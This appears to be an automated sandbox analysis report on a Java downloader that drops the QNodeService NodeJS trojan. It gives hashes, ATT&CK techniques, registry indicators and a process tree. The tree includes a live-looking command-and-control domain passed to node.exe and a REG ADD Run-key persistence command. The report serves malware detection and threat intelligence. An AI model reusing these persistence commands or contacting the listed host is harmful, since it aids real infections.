qnodeservice | 4d99df44f8b2928c9faf68d49c2fe083c721dccba6c9fdbb5bd9e769aef0862a

General

Target

pakets1.jar
Size

89KB
MD5

d562ac2509dbeff1f3759548f5f7137a
SHA1

db4963f847bec83553d7c4e230854386319a2f25
SHA256

4d99df44f8b2928c9faf68d49c2fe083c721dccba6c9fdbb5bd9e769aef0862a
SHA512

37a7b44c2130753ece99b0f5ae79cf3ea42210dc712589426743873da89e2cbcfe99b8c158444ad2f3d658c141f2d841c8ec11c8abadb6b06ac1ea4df9aac5a9

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2252	node.exe
3836	node.exe
1156	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\1d251c1f-a52a-425e-8d4a-32175720fab2 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab71-172.dat	js
behavioral2/files/0x000100000001ab71-176.dat	js
behavioral2/files/0x000100000001ab71-180.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	wtfismyip.com
28	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2252	node.exe
2252	node.exe
2252	node.exe
2252	node.exe
3836	node.exe
3836	node.exe
3836	node.exe
3836	node.exe
1156	node.exe
1156	node.exe
1156	node.exe
1156	node.exe
1156	node.exe
1156	node.exe
1156	node.exe
1156	node.exe
1156	node.exe
1156	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1056 wrote to memory of 652	1056	java.exe	77
PID 1056 wrote to memory of 652	1056	java.exe	77
PID 652 wrote to memory of 2252	652	javaw.exe	81
PID 652 wrote to memory of 2252	652	javaw.exe	81
PID 2252 wrote to memory of 3836	2252	node.exe	83
PID 2252 wrote to memory of 3836	2252	node.exe	83
PID 3836 wrote to memory of 1156	3836	node.exe	84
PID 3836 wrote to memory of 1156	3836	node.exe	84
PID 1156 wrote to memory of 692	1156	node.exe	86
PID 1156 wrote to memory of 692	1156	node.exe	86
PID 692 wrote to memory of 2928	692	cmd.exe	87
PID 692 wrote to memory of 2928	692	cmd.exe	87

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\pakets1.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:1056
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\bcc19ae2.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:652
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain september101991.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2252
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_FuioVm\boot.js --hub-domain september101991.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3836
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_FuioVm\boot.js --hub-domain september101991.ddns.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1156
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "1d251c1f-a52a-425e-8d4a-32175720fab2" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:692
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "1d251c1f-a52a-425e-8d4a-32175720fab2" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2928

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1156-181-0x0000006F2F740000-0x0000006F2F741000-memory.dmp

Filesize
4KB

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memory/2252-174-0x0000002081080000-0x0000002081081000-memory.dmp

Filesize
4KB

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memory/3836-177-0x0000001FBB300000-0x0000001FBB301000-memory.dmp

Filesize
4KB

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